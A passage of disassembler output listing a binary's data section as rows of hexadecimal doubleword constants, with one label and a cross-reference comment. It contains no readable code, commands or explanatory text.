dd 0AD890E2h, 0FACB645Ch, 0DB0A648h, 20281937h, 612079ECh
dd 518600AAh, 84442188h, 0C0B06C39h, 6B523088h, 99F98E30h
dd 140573B7h, 8251E99h, 83BBCA02h, 0CE912C2h, 25506001h
dd 0E83E0640h, 0BCF0A0E1h, 8D05D44h, 226745Ch, 0F25A40D4h
dd 74C6250h, 0DC16013Ch, 0B67AF94h, 0D836024h, 0DE98A860h
dd 0B1FBE089h, 41449098h, 84720776h, 0C044AF0h, 9A0EDCB1h
dd 0E496BAA3h, 60E33D15h, 0FFD77D08h, 0A50434A2h, 2B72C862h
dd 0E081E890h, 383A48B0h, 6021D6C0h, 4724EC2Bh, 99E1081Bh
dd 0C306A0Ch, 0B93A2E84h, 0E26C80D0h, 9405A4F8h, 3DE023E6h
dd 58E05324h, 98140792h, 3A087F58h, 1EE7A2A8h, 0C3F4AA52h
dd 29E85EB0h, 48589AA2h, 3C18212Ch, 0A8120C84h, 0A739F4D2h
dd 3847F620h, 8C97A7D5h, 0FAA1FDD1h, 0C860B9E5h, 0B861CEAFh
dd 61077323h, 135418D6h, 1409F3A8h, 8116517Ah, 0DC500E5Ch
dd 112788Ah, 69920110h, 61D920BDh, 84A404C8h, 0B6A40311h
dd 0ACC1A9D2h, 0F5884169h, 0BAE8421Eh, 0A9F31080h, 286C030Dh
dd 33292011h, 0E7319874h, 24532011h, 44500120h, 0AA148928h
dd 5085C67h, 7B0DAE47h, 3061300Ch, 2451C6ECh, 0E40EB9E1h
dd 4939798Dh, 0A5802078h, 0DE6621A7h, 25980128h, 243C81E4h
dd 39127160h, 9C003264h, 0FAF56B3Ah, 9F6E061Ah, 81567CADh
dd 0F73A067Ah, 66600008h, 0EB48AEFDh, 281F054Dh, 0D4EF137Ah
dd 0ADB081E0h, 3D186052h, 6C38EA0Ch, 3DE989D0h, 0F45DC683h
dd 2DF38C00h, 3D3CD85Ah, 486632Ch, 5D04802Ch, 50802214h
dd 269F324h, 0D9430C32h, 0CC68B22Bh, 5E2C8093h, 6C0164DBh
dd 0F19CE542h, 2858F850h, 0D06F6E5Fh, 0B5EEBD81h, 0C4BC44F5h
dd 0D4A4A0F0h, 77468509h, 32C80163h, 38B41DF9h, 5214F3B0h
dd 343A6AB4h, 109ED543h, 865AF740h, 48A04ABAh, 80939403h
dd 0D78194DCh, 0BCAF9004h, 6084A12Ch, 273D2440h, 988E51Eh
dd 26BA93Ah, 0FF5B9CA1h, 0FCDC30F9h, 80A8625Ch, 0B01FF8D3h
dd 0F8C46036h, 0EAA6331Dh, 209DC801h, 5CD6AB6h, 0D3FB868h
dd 0EFF9BB44h, 18483CA3h, 99196040h, 0E8ABB239h, 0D2BD7B60h
dd 0A8C002E9h, 6085E791h, 71C8C8A2h, 0F24C3118h, 73C9698h
dd 0B6A86748h, 0C9AD8EEEh, 200BE141h, 8A1DD84h, 0D9420C8h
dd 321951DEh, 1408DC20h, 8FC640C8h, 70E02C99h, 46F6A51Eh
dd 81047812h, 90E8DC0Bh, 16020D4h, 723F1640h, 242DF011h
dd 753A6430h, 0FCB08030h, 0FF8A06D4h, 6AD24804h, 420D007Ch
dd 0BEB74A4Eh, 0D30E31CDh, 0BBBFEA4Ch, 0DCBCF018h, 0F835F662h
dd 0E2263A9Ah, 52049100h, 8297E5F4h, 56E420Fh, 0B5EC83D2h
dd 9B280036h, 3DEBC943h, 61002913h, 0C3995F17h, 0CE6B212h
dd 75FB8DE3h, 0DC62AE48h, 23439810h, 3C1EA4Ah, 0EBA01142h
dd 9808E8E1h, 2401E078h, 49F3064Ah, 1671D6C3h, 0D21000FFh
dd 6DA45A31h, 4E0070F4h, 9FECD7Dh, 69C55h, 3063F68Dh, 78D1D5B1h
dd 28B03500h, 0A755F305h, 0AB890E09h, 6AFDD60h, 0F7A5A3EFh
dd 0A1A7C06Dh, 0A0BFA88h, 83AFE3ABh, 48EF11BDh, 7777AA38h
dd 0F0423325h, 30149F10h, 0F2F9C0h, 65B4294Fh, 0A053A48h
dd 8DF30F0Ch, 898B00C5h, 2A99825Fh, 59702300h, 1448AB7Fh
dd 762C3204h, 649155D0h, 36921005h, 3729016Dh, 35772BD5h
dd 0F7E1AEh, 9047D9E3h, 1C11C718h, 8B1DC0EAh, 95F02753h
dd 84E658C5h, 18507838h, 18313823h, 53306754h, 0C0A279E9h
dd 0C17D2872h, 47BA4008h, 0FB18B278h, 6A61822Dh, 379405EEh
dd 41FD6F2Ch, 2526FF94h, 7B73E09Fh, 9BD41506h, 3309D30h
dd 2892FE2Eh, 103FE2DBh, 0EBFB00D5h, 0F032631Ch, 0F270CF54h
dd 0AF6FE100h, 92F6C285h, 0D26CFF07h, 36D02326h, 0F8F102E6h
dd 344FE860h, 68787FB0h, 640DAD8h, 8F7990h, 85205689h
dd 0CD277715h, 8E88E400h, 0CCC7AF8Dh, 9E5D00C9h, 7E4D1683h
dd 0A300DB95h, 58120553h, 389F63ECh, 0FD0048DEh, 0C9C5BC4Eh
dd 840CD0F5h, 10C6D30Ch, 0DAF903BFh, 8B054E5Ah, 0CA7E30DFh
dd 0C71EA78Eh, 0C6D4D829h, 55A3001Ch, 15254693h, 0F7A3A94h
dd 33095801h, 0E364D8D4h, 2274680Fh, 1780FC49h, 0AAE45393h
dd 65AC002Dh, 48DDA7AEh, 1006CB22h, 0ED983EC6h, 0D1FC0EB0h
dd 4E8004C9h, 0DC68BE7Bh, 0CB41509Dh, 0C556211h, 841137h
dd 260E6C07h, 408C65CBh, 73BF2500h, 1F3517Ch, 47FA0024h
dd 0A77A0F7Bh, 5C6646E5h, 14417C80h, 8021439Eh, 1D47984h
dd 0E2E03EBCh, 33C4853h, 0C4400E31h, 706621FEh, 502E28h
dd 8AF06E06h, 0DDD8D383h, 5C0E2914h, 0CEB040C8h, 3A537A0Eh
dd 0F1D40289h, 0A6908170h, 0B19845E5h, 0DEAE6101h, 32009FE2h
dd 30ED957Dh, 0C06DDF56h, 434E4D30h, 11C7D0D4h, 0C5C060CEh
dd 0F122C874h, 758EE980h, 0D253857Eh, 29AEC0C1h, 200118h
dd 0E04A6060h, 1358D770h, 0CB30757Eh, 65FD384Ch, 3B3F0057h
dd 7DDAEDD1h, 0BCA4C6DFh, 0FAC40604h, 8F472D60h, 0F978C3D3h
dd 47C5ADF3h, 71F414A8h, 802CE059h, 0CBB57E70h, 70055147h
dd 83449156h, 54A44933h, 0B5C27803h, 1EDC7F3Fh, 65BD5D9h
dd 106CC64Bh, 0F27E1100h, 2AC79F8Dh, 1D60EECBh, 0C724B8Eh
dd 0AED0C884h, 0C5C2D603h, 0CD9493Fh, 34609649h, 0AE0076B1h
dd 0FB9E47A6h, 10586CDh, 0BEABF2Dh, 0C35E3AFAh, 84CE73F8h
dd 70D81600h, 7E3E8CC3h, 7AF11F0Ah, 44C00A4Ah, 921E3C94h
dd 888144Bh, 8C4A0D11h, 88B020A5h, 7A05816Bh, 5D38AA65h
dd 0BECD9443h, 0F240A3EEh, 57C0A0AFh, 19637319h, 0C88DFBEDh
dd 552F10DAh
dd 51876029h, 2409A586h, 5D8276Fh, 9444B864h, 0F09141BFh
dd 0F98A0AAEh, 1814CB24h, 0E8BD51E4h, 0DC2FAB12h, 4053C041h
dd 9C485830h, 3194125Fh, 746C01FCh, 0DACF7A24h, 886B084h
dd 0B5648038h, 0EC77F5FCh, 0DF6C7C06h, 1E79DDC9h, 14DED3BBh
dd 0CD200870h, 3A204842h, 6D1E4042h, 1F1811DCh, 12191FA5h
dd 0C211F070h, 0F810908Bh, 2D11A688h, 112C3800h, 2EE4DE5Ah
dd 968949C0h, 73CC6742h, 0D6D4A1F1h, 44C58850h, 4298AA40h
dd 30549098h, 0A4D60160h, 0F37AD8F8h, 70FDCD23h, 8009949Eh
dd 0D1B385h, 0AF3AE5ACh, 24307018h, 3A6C2BDCh, 0F0890301h
dd 0C02F8B69h, 0CA60560h, 50005690h, 0A28455ACh, 7CD58865h
dd 1B647CFAh, 807A8621h, 0D310A6AAh, 0E082F706h, 2254AC3Ah
dd 83C41863h, 0E46528h, 186786CAh, 5A0507C5h, 197D2857h
dd 1A91807h, 343DA241h, 0DB130254h, 60036459h, 808F6DC6h
dd 0C7D294Eh, 457485Ah, 0B5767AB0h, 75E8D861h, 5030FB44h
dd 26D04C4h, 0C374A03Bh, 85B941B8h, 0A85882D7h, 40C41F9Fh
dd 30BC0B38h, 0A7A8CE22h, 0C012CC27h, 0E0028ED0h, 84B6453Eh
dd 0ACC2FD8Ch, 0D21F20E4h, 5728B29Eh, 0D54DE0F4h, 9FAD0654h
dd 105936D4h, 6F73F94h, 37A52FA8h, 0BC854C18h, 0AEE07680h
dd 3E14BD93h, 882F7Ch, 4B635030h, 0F895D8F5h, 0B8FD001Bh
dd 600CEA0Bh, 0E700AC06h, 0A656C47Dh, 29AA4546h, 0FAC6359h
dd 0B038C13Eh, 0F0304830h, 0AEBC484Ch, 0D919DA33h, 0AC8D4C42h
dd 1061CDB0h, 80C625BCh, 31874A7h, 8930556Ch, 0B7D60129h
dd 3A18FF72h, 0F921C3B2h, 39DA88D3h, 11231742h, 581CF219h
dd 8D184863h, 2250B1ECh, 0F8D41630h, 23A96B40h, 0E6680E23h
dd 921C0200h, 0F7531E8h, 0BE6F14DCh, 535DE140h, 80F2011h
dd 40D97044h, 7B716998h, 9D800CDh, 0EF92E83Ch, 0B4077689h
dd 0D7EA2B80h, 6F24AC00h, 0B80F06E7h, 5089A93Ch, 9220E960h
dd 53AC356Bh, 0BC42017h, 5FA1604Ch, 0EDD2279Eh, 91A369C0h
dd 801D4B8h, 4ACFD08Ah, 26E18DD3h, 960168B9h, 0AF597A5Dh
dd 72B881F0h, 0A3EF9B3Eh, 0C0D07F20h, 7B594568h, 0D9547EDDh
dd 0A406EF80h, 0E39351Fh, 99620011h, 0D3874EA7h, 0F033BD2Ch
dd 71408ABh, 0A6014721h, 55258018h, 9007BCDh, 0CAB91E9Fh
dd 0C03D8F95h, 0E298EE90h, 0B0C0C732h, 420BD611h, 38761B92h
dd 7823A04Dh, 0A79F013Fh, 18C38740h, 74D8851h, 0B353A600h
dd 35908DD8h, 942E5072h, 0BB8C005Eh, 0E118EA2Fh, 8932FA0Fh
dd 0E3B910BAh, 0C12D879h, 6317004Bh, 0AF325919h, 7D00B1DCh
dd 39BA744Fh, 75B073Ah, 588F1C30h, 0D81F80A4h, 80008C36h
dd 0ED34F2FDh, 170495Ah, 0EFEEBF92h, 9EF3C691h, 31C05B18h
dd 7340C4C2h, 112600BCh, 163A3FA9h, 5A1C9734h, 0C547F3FCh
dd 6100DA80h, 1073465Dh, 0DE28D6h, 0AC68B688h, 7236A3h
dd 0ECA93F97h, 6E284DC6h, 0D603F57Ah, 82C0D780h, 71580FEDh
dd 2400446Dh, 78A627ECh, 3612350Fh, 0DA9010Ah, 288738A8h
dd 0EC927D7Bh, 0B2745F18h, 0E699E560h, 760689A3h, 6468C0A4h
dd 8A9B2240h, 2F7AC501h, 0BBA0D06Eh, 1666A086h, 0CB4480EDh
dd 1C6C187Eh, 9AB65815h, 1D7FF90Fh, 327CA37Ah, 5D180009h
dd 0E06692C0h, 58973F40h, 23162864h, 0BA7B0094h, 0E25380A6h
dd 32618545h, 8C069558h, 0A9744851h, 4820E80Ch, 4940A13h
dd 0C0D891h, 79BA9256h, 1D53FA7Dh, 788CC874h, 8B008368h
dd 1C5048B6h, 0E5406028h, 1B6818D3h, 0BC72F1C7h, 411CC800h
dd 0CCF6BED9h, 94603E12h, 97FC5D01h, 894B3304h, 20DF8590h
dd 0DDD7670Ch, 97150027h, 1600594h, 481B0A98h, 3A59DC21h
dd 0EE407630h, 4387E61Dh, 3B54C100h, 7419F5h, 0C4094148h
dd 40B9B1Ah, 4B294400h, 855372A2h, 96E807ABh, 0B32521A9h
dd 5978E41Ch, 0ADBE4E00h, 0A9B392BDh, 7AF35CAFh, 0DD9CF700h
dd 1648352Dh, 30591501h, 733A9671h, 0B4A520h, 0B51E5283h
dd 0CAF65EE6h, 3E60F50Eh, 0A0096F07h, 1F947AEFh, 8069DEFDh
dd 0EB46704h, 4E00A0F3h, 0F4A91396h, 1DDAB15h, 0AA6D9C83h
dd 0D8DF6B97h, 353DA410h, 2800F83Dh, 4B6F44A9h, 14C64126h
dd 0B545F66Ch, 1FEA8300h, 0AF462D25h, 0DC36FA03h, 0C711F4C8h
dd 1E488DC0h, 83670E82h, 95806C1Ch, 8018DE4Ah, 342F7B7Ch
dd 0CF5D63Ah, 48291C26h, 7DDFCE88h, 57240062h, 28175CF0h
dd 450163DDh, 58EC6E37h, 8440319Ch, 1C5FC205h, 8EBD1D03h
dd 36015460h, 70D7CAC6h, 0D001E64h, 0AFCD8C7Fh, 171B5FFDh
dd 1F80764Ch, 5243402Eh, 3D9F95F8h, 0C9E35900h, 7AF0CDC0h
dd 9663001Bh, 69E211Fh, 0B0000E26h, 0A6AB5BE5h, 7A3031Dh
dd 77736BBEh, 60F17071h, 24002B62h, 42C6F32Fh, 0B69F82h
dd 0FB19B4CFh, 3C20495Fh, 48313400h, 5AEBEEDAh, 2494A02Eh
dd 2AC5006Bh, 0FA21889Bh, 61FC775h, 3183EEE1h, 0A0E99A72h
dd 808D53h, 0F87E2162h, 1DF3CA5Fh, 160F2C0Fh, 0F9770029h
dd 791E99h, 0F53AE9DEh, 0C7D95745h, 0DF5BD200h, 0BFF4E4A0h
dd 0C4E205EDh, 0C07397F3h, 2555AF8Fh, 8F8EF600h, 0F0CEC589h
dd 0E9072FCh, 97AD2B8Bh, 1020272Ch, 0DD181607h, 0E5906112h
dd 430A08h, 0C1973C73h, 0CB05765Bh, 189038h, 0A17A82A9h
dd 0B801E4h, 0C7E1EC37h, 52F1DF51h, 0AC133800h, 411FCC2Eh
dd 0BE360027h, 0D9C4464Ch, 0DA002515h, 486BDF2Ch, 0B3C5AAh
dd 0B1BEDD9Dh, 0A71316E3h, 0B0CB601h, 0C225D644h, 2ACDD0h
dd 6304148Ah, 8B4A66F4h, 0EA427800h, 0DA7B8312h, 3BD3007Dh
dd 8A793533h, 663DAAD5h, 8FF78054h, 254E132Bh, 0CD2400E9h
dd 0BF40058Dh, 0CB005498h, 0D9E303DBh, 0E1B3BAh, 23AB4D18h
dd 0B2A78489h, 0CC2806E4h, 302EC829h, 95009E46h, 0A57A3926h
dd 6E583B31h, 1A0090C8h, 7B05F716h, 0D70243C6h, 5B20A062h
dd 69C680F6h, 0F29EF5DFh, 7DFC0075h, 0B227FED4h, 0A7B88D58h
dd 42954E04h, 0D9C0E363h, 242307D2h, 168ABE4h, 7BEF7953h
dd 164B609Ch, 73CD8400h, 5C6BD6CFh, 0A2EE8Eh, 2B5193D9h
dd 7DACF31Dh, 1B37AD00h, 572A0812h, 16EC0FFBh, 0A820D294h
dd 0C4E9AE8Eh, 0C2638000h, 0A067A1DBh, 0B5FC0691h, 0D053E24Dh
dd 0E80003F0h, 0E30CD20Eh, 3794E1EAh, 30E055D6h, 0F0525B6h
dd 0C991FB00h, 0BD7212E7h, 607F005Fh, 51A55024h, 990778DBh
dd 15B8B094h, 7766FC82h, 0BCC2AD00h, 0E6EC7F4Fh, 0FDD00100h
dd 0F55BCD71h, 490500B8h, 0C0D2FE13h, 82008D4Dh, 0A342638Ch
dd 3C73D5DDh, 3B008E3Dh, 5CC8DECDh, 0B50CF6CBh, 0B815ACCAh
dd 0E63D1CA2h, 75FC8239h, 0FC409C30h, 0F2008EDDh, 8C021EF8h
dd 6DF6E4Fh, 6DD440B5h, 6B0098E3h, 0B7FFF596h, 336070h
dd 0E12DA572h, 825DD44Ah, 9DD16E01h, 50031A8Ch, 394B120h
dd 10CF435Eh, 68D82F74h, 0B801EAA2h, 4CD5470Fh, 9C302013h
dd 0E5EC7Bh, 0D7FAB6AFh, 1AEA9E77h, 0FE94D23Bh, 14001D7Ch
dd 582E7DF0h, 4C745087h, 5D0EE039h, 6207D815h, 1B7BD02Ch
dd 3B384243h, 0E7D6055Ah, 5EC00D87h, 18C6823h, 0C59D749Ch
dd 0C9F48F27h, 6A55F8B2h, 60B638CFh, 239F7558h, 0C1990FCBh
dd 9C0553h, 0CE35ECD2h, 0DF000CA7h, 360B2B3Fh, 1EA5E845h
dd 40C3C6B2h, 2AAA3A4Ah, 0B00175E6h, 63CEECF1h, 49200826h
dd 0E95260E7h, 0A5FF7E3Eh, 1BD2A61Eh, 0A82FDFC0h, 4870F37Bh
dd 8B00B183h, 385DCD1Eh
dd 6B002D51h, 6D05EA4h, 3DAD7F6h, 6C1AFEF8h, 0A1DFE720h
dd 20AE1026h, 790EA064h, 4084023Ch, 83BD337Dh, 0D9280029h
dd 0AE1EC0AAh, 3E008235h, 0D374DD46h, 33F1055h, 0C35F5D63h
dd 0F9818FCFh, 0EA2AF851h, 0A9F5DE07h, 233D799h, 0ABB1A0FEh
dd 0A119001Eh, 5C3E70A2h, 820E3885h, 60C16B1Ch, 7F2C173Fh
dd 1CFF5869h, 0B38C073Ch, 30480203h, 0EA0098EAh, 35A31140h
dd 38BFDC53h, 9E3D3D95h, 6F3B8880h, 670A5A4Ah, 2B8E2700h
dd 3279A1BEh, 1B2A0059h, 0A53A0EAFh, 0E60CD615h, 56EE61AEh
dd 0BBA102B5h, 0A34449A8h, 30C27041h, 9D00E004h, 28F5C301h
dd 0F09637Ch, 7FBC8B05h, 641E6B80h, 9201FD85h, 0A1CE3BE6h
dd 0DFD2ED1h, 0D2F7C0h, 1AFA72B4h, 1F2F84C3h, 133C7400h
dd 64507695h, 77D7D61h, 9429C0BBh, 50D0E7FFh, 0D114971h
dd 0F54ABE1Ch, 2592B980h, 9907A4h, 7D647E5Dh, 0F678147Ah
dd 0C549C805h, 0A2009C32h, 219219C3h, 7A50004Bh, 9BECA362h
dd 840080E4h, 0C7D60331h, 4E37DCh, 25107C81h, 38DA7616h
dd 9C383CFCh, 0AEE380ECh, 0CB40F4F0h, 1479093Fh, 0F820B2EBh
dd 1C94A936h, 0B8C04E00h, 627D2456h, 669500ABh, 540544F0h
dd 775BB5Ch, 0F740CD00h, 6781120Dh, 0E82000BDh, 9A8AAE7Ch
dd 0E70E92D1h, 5EB73C4h, 7CD07A2Ch, 3C8C59h, 96F346ADh
dd 97609A76h, 10C4CD1Fh, 0F0072816h, 884085AEh, 7C727123h
dd 4E0C09EBh, 8C031461h, 0F0E72CA2h, 1FC8B50Dh, 26965B01h
dd 167CD09Ah, 67254080h, 0C6FBCA23h, 93E1CF01h, 0AC9994F2h
dd 0A81498E2h, 0D82474AEh, 67C56859h, 0D7662C00h, 360D529h
dd 4C61501Eh, 404748E2h, 0AD720C0Ch, 0EB066D30h, 811AB9Dh
dd 708A2849h, 0FEA20030h, 14803929h, 95745855h, 0CE1AF403h
dd 0A816F56Bh, 2E7DC040h, 7E8EA5Ch, 0FE78729h, 0E1AA7660h
dd 6EA475Dh, 0E0E93B00h, 7CC4243Ch, 4C123C39h, 14DA8200h
dd 4A748A4Fh, 0EE5D7800h, 0EAD845A2h, 0FEDD0030h, 1AC00CD1h
dd 6C0C4686h, 8CC8426Eh, 5BA0C02Ch, 0FACE4331h, 0A07A5A00h
dd 98130CA6h, 44334C2Ah, 0C8D626h, 0EBABFE8Bh, 0B4386637h
dd 0BBC50083h, 0C9887711h, 3FDA00FFh, 0F1F7039Bh, 84B0C713h
dd 0E5689900h, 0CFD164FAh, 4D3F007Dh, 4B1E90A5h, 93009D35h
dd 0FD327226h, 0D9D1EAh, 8EDB2E36h, 0ED79E2CEh, 0BA82DF01h
dd 0E9A4676h, 1669CE4h, 145D286Ah, 0F4B18BCCh, 85034918h
dd 0A50F95B0h, 0E775C8F8h, 0AE2E0066h, 0D12C87A2h, 207FE078h
dd 0E8000790h, 0B19522B9h, 165F22Ah, 58C0ECF3h, 0DC0ACD38h
dd 7507C73Eh, 1D56EFEBh, 616B0591h, 251F830h, 951C5971h
dd 80C0FACBh, 697F659Bh, 0F7C2B700h, 0AEA3A509h, 0F53200FBh
dd 5A83A84h, 0F30996CFh, 13E1F9h, 6F906BB8h, 0D9F27Ah
dd 629E3483h, 0C0DBF3EEh, 144CCE12h, 421D2000h, 52C202h
dd 56EB5F7Ch, 603810B6h, 3F7A213Ch, 6BB3059Bh, 8C7D8C0h
dd 0EAE4490h, 61250433h, 9050D03Eh, 734F1F44h, 622B9900h
dd 40F6FF14h, 1FB17734h, 0C0EE8568h, 0C2699767h, 7A00B43Ah
dd 0F78B0FBBh, 9E5D74h, 0D0290C2Eh, 88C46D5Fh, 2C704C7Fh
dd 8099653Eh, 1F351986h, 0B90D90h, 8E2ECABEh, 0B7C30B81h
dd 0E7F3658h, 0EB3D96A6h, 0CF340F03h, 8C34C0ADh, 1D0E820Ah
dd 2D6DBBEh, 0D8D40B29h, 60F1FE60h, 0AD581D00h, 6BC846D7h
dd 0D0F507BEh, 40F0431h, 2634B076h, 0E11F92F0h, 0DFC5E0E5h
dd 0AC0FD85Dh, 0BC40D281h, 5A7F24AFh, 0C83000Dh, 0DDDCFCF1h
dd 2FFE11C5h, 952BD024h, 4FDB7A00h, 53FB50h, 0F998092Ah
dd 5B68416Eh, 12B18A00h, 51F5585Ah, 20942879h, 981010B0h
dd 20525123h, 0CAEAC8D4h, 93EC6900h, 0BE17AB09h, 0D85B5D9Bh
dd 0A0C97E00h, 89C68818h, 0F88F230Eh, 96976095h, 6FFF56h
dd 0FC6DED98h, 0EFE90243h, 0D58E0B07h, 0DBA06A42h, 3A9F0BCh
dd 8DBB690Eh, 2EB8ABE6h, 5001B75h, 7C433FBFh, 0D57330h
dd 5063B511h, 475CAA5Eh, 5CF1F926h, 24FF2580h, 0F0E077Eh
dd 0A658B3E6h, 0D5C38642h, 88A3E8E8h, 0A96B4800h, 0D9FFAE6Ch
dd 9F18C09Bh, 9843F354h, 0BE0028FCh, 80F53EADh, 2E3A4Ch
dd 0A5DEB933h, 67D5FDBh, 6C043801h, 298E4BA7h, 31A71F8h
dd 0E3EDFD39h, 2B886213h, 7B001879h, 7DD52FFCh, 0C6B6B0h
dd 8DA0A791h, 0E452D6BBh, 0A818B307h, 96000B58h, 610D886h
dd 70C51B34h, 0D600C162h, 0CCE9806Ch, 98DE11B5h, 39797B07h
dd 0A33C62F0h, 6CAE381Fh, 5EA60048h, 0F1B12148h, 950F1500h
dd 0C84AC4AFh, 0E8E40075h, 51D82033h, 0CBADCE7h, 7AB521h
dd 47FE525Dh, 0A61C9B61h, 0B8DD3049h, 8F638E0Eh, 6846203Bh
dd 0E5991h, 99B71F8Ch, 0F14509E5h, 0B1FD5200h, 15AE3366h
dd 0E9B500DAh, 72AFA592h, 0CF00B05Eh, 0B4CD025Ah, 0C64B28h
dd 0E59ECBEDh, 919D1204h, 8F71DE01h, 0F0F8B4D6h, 1CA661CCh
dd 34369A8h, 0EEC7D4C3h, 4EF84654h, 0B404DCF2h, 0D0CA7F9Ah
dd 10634081h, 28EB9C8h, 0D2A620A1h, 0A4481AE6h, 0B6006C3Ah
dd 9D300439h, 0C0F340B0h, 0BF6A9B18h, 59C9D1FDh, 0F700CB50h
dd 62DA8D00h, 5A0E002Ch, 3D927F84h, 0F10E6AABh, 0A05649BDh
dd 0C3078BFEh, 47FB0082h, 937289FFh, 1600AB2Ah, 520B7867h
dd 76F9DAFh, 3317CA5Eh, 3BADD0FCh, 1B073157h, 0DED21542h
dd 41658E80h, 0CBB6034Eh, 0AFE43814h, 48CAA6B8h, 0F87BF209h
dd 0BA31005Fh, 118435h, 0E0012E2Ah, 71081D94h, 0C7EE971Dh
dd 6300F413h, 79D1356h, 276005Dh, 0A1429983h, 7A00C9E2h
dd 3E9E5BA7h, 3E1CF6FCh, 918929EEh, 78E07DFDh, 0D00E2F9h
dd 9CDCC9E0h, 0BB9DF57h, 3CECE8A1h, 3D9ADB00h, 0FF0079E6h
dd 3FEA985Ah, 10DDF8Dh, 58B5D3C3h, 82A76FCAh, 4334AC18h
dd 0F1106BE1h, 60C0A621h, 132B07D7h, 0F08DFE63h, 0BE26C68h
dd 40A30C01h, 0BB1B37AFh, 78AEF820h, 817A0039h, 5B6268A5h
dd 7601F2F7h, 183A6967h, 31879FB2h, 0C040EA8Ch, 1E3B61DAh
dd 82B6953Ah, 9F5686E7h, 7C54E3h, 66089676h, 4F0B7798h
dd 626DD2h, 0D953AC0Ch, 0E8910FC5h, 94631A9Fh, 87D5AD28h
dd 47BDF0F4h, 55002699h, 0D1A1B0FDh, 84B298h, 0EB25D03Fh
dd 885748EDh, 0BA798A0Eh, 2EC70060h, 25B7E440h, 380BC8DAh
dd 69C23202h, 50030CE0h, 60003C9Ah, 2A0F3E22h, 3F31D8D2h
dd 8D8FDFCEh, 8B01BE29h, 70D18656h, 0F600EA84h, 4E676DE2h
dd 78E7EC8h, 0D51FCB88h, 0A2964319h, 0D5C03D8h, 0A93DE100h
dd 601ED7DAh, 6D8A2239h, 0A0A82512h, 2B880491h, 0C43A3C28h
dd 5D634E08h, 9770B480h, 30AB47E8h, 943116BBh, 5D06110Ah
dd 6B3901C0h, 4E170008h, 92C626EDh, 20B8CCA3h, 0AB3CC800h
dd 7E2C151Ch, 18A0044h, 0E794A903h, 72003665h, 286F661Eh
dd 0C347D6A0h, 0E88C2D98h, 0BB2306D9h, 80BEBE58h, 2C385A14h
dd 0F2EE51A0h, 0C83600BDh, 612EAD6Fh, 301297B6h, 0A891E7C4h
dd 2841D0A0h, 0A88E585Dh, 1C8051C1h, 0D1AB876Bh, 522310A1h
dd 2AE0BA1Ch, 2A006970h, 0A0F518D0h, 1298FEC1h, 88CB628Ah
dd 0A3E0B958h, 7A93C24Ch, 0CE820800h, 37767552h, 6A3D00D6h
dd 0D5E05E06h, 612C55D2h, 0E90B6359h, 5BFA8076h, 35824686h
dd 8658A7C6h, 4B3B8079h, 2A7F0120h, 0D3510A4Ah, 89D9D8h
dd 3AA2382h, 0FA1F3306h, 0BB019871h, 0D0CE933Ah, 26D030D3h
dd 54380707h, 20A42D0Fh
dd 80AE299Fh, 63835A1Dh, 82C77C87h, 0C3FDF900h, 71213C97h
dd 40731392h, 5F4D22CCh, 0F400EF3Ah, 7268AD66h, 7E7C094h
dd 3E74524Ah, 1AAB4363h, 5DFE65B8h, 0F2713400h, 9D45CB4Bh
dd 31020025h, 4803E2DEh, 7B012D30h, 85A68204h, 368040B7h
dd 2488995Ch, 3201C781h, 5E20ED7Bh, 0DA207F26h, 3845008Fh
dd 0C3892EB4h, 30C1628Ch, 3E19A035h, 6786D4h, 0B6C1B3F3h
dd 2CD955E7h, 5958BE30h, 3828EAAh, 0DD1B7E1Eh, 0F4B098A5h
dd 7500DFB7h, 3C69013Ah, 39FF959h, 62BD6513h, 2CB01D11h
dd 0BB00E166h, 0CED8F235h, 0F2B61CA1h, 0DC92003Eh, 230AAE71h
dd 29030B28h, 0F31D50ABh, 9D1900B7h, 0CE846441h, 10009E3Ch
dd 19E5148Ch, 6006BDDAh, 0A4DE501Dh, 0FB00AF3Bh, 6CC0BB2Ch
dd 0E863C3h, 4AA855D0h, 176BA24Fh, 3D0249E4h, 5E2DDE5Ah
dd 0E402406Ch, 3B2E021h, 62116347h, 0FA90DA6Fh
dword_4E414C dd 4F00CD67h, 742D465Eh, 557CF5h, 0AB4B8038h, 5BB35B4h
; DATA XREF: ___:off_42DE44o
dd 86595400h, 71034A11h, 7AB80B7Ch, 2600EA60h, 0E5C294B1h
dd 3C9F8B00h, 0AFBC48CCh, 0F980C053h, 94B6F051h, 0C890AE07h
dd 217FB7CAh, 1D3E0B29h, 98237260h, 7A9A3966h, 7B02897h
dd 0E0DB5B1Fh, 87E997Ch, 1CE5EB3Ch, 4452D349h, 16A15400h
dd 7906CFh, 0EA956B23h, 0E0944D39h, 0EFB9E302h, 0E0C64560h
dd 0D785C4h, 59CC99B4h, 0A85441CEh, 0DB007F7Bh, 0EDCB1A03h
dd 0AEC06F0h, 335CA7EBh, 0D0B504B8h, 0A2660416h, 304DC01Eh
dd 43DF6A27h, 23336700h, 0A3DAF279h, 7BEE29h, 1B060885h
dd 0A5AD84Ch, 8AFAF70Fh, 9701A009h, 1FF2BA67h, 0FC5D1C93h
dd 0B833EA00h, 44E161Fh, 0C0D3D20Ch, 0C4D9D5h, 7621BBDCh
dd 3C7FBDAFh, 0E8DAA800h, 0E35A4504h, 5B3B00CBh, 0AF069DA6h
dd 0A100AD73h, 0B44960B8h, 0D62837h, 90DDF032h, 6E6A2FD7h
dd 0C6003F71h, 3AA37C66h, 513D70h, 0E98C3142h, 0F50E08BEh
dd 0A4006FEAh, 0F401A3C9h, 24C166Ch, 0E4AB28C5h, 4940FA1Ch
dd 37008B7Bh, 4FD00329h, 0FCC6A8h, 4235F58h, 0C85634B3h
dd 57A95001h, 3EED2553h, 0C54DC0h, 0AD74036Fh, 9844643Ch
dd 0C71FD6B8h, 0ED40FC4Eh, 0A8B05E4h, 0A61900F3h, 13B01AE1h
dd 0EF3E3C27h, 0D8710014h, 2D37A10Dh, 436505F9h, 5C693496h
dd 8676C798h, 2FF2301Ah, 7D00427Bh, 0C7B19772h, 41396Dh
dd 0AFC2A098h, 67F920E0h, 2E93D200h, 9546C7F2h, 9EBF00B1h
dd 48758C24h, 4006A7Ch, 9B6E787Fh, 1282AB89h, 1AF84279h
dd 9E60CA88h, 0BF01F17Ch, 95EAF984h, 11F89450h, 1F210713h
dd 0D0967F8Bh, 0C8D8B56Ah, 44909D7Fh, 0FB915204h, 0CD3D007h
dd 7C318026h, 48020046h, 0D3B5DD97h, 0AE05605Bh, 1EB06BB6h
dd 1CF52F80h, 0EA9A0692h, 10BA9668h, 62DA7CA0h, 0B95C7A03h
dd 0C84C3789h, 3D0CBBh, 5B15B4FDh, 0ED5EA24Bh, 43C830C3h
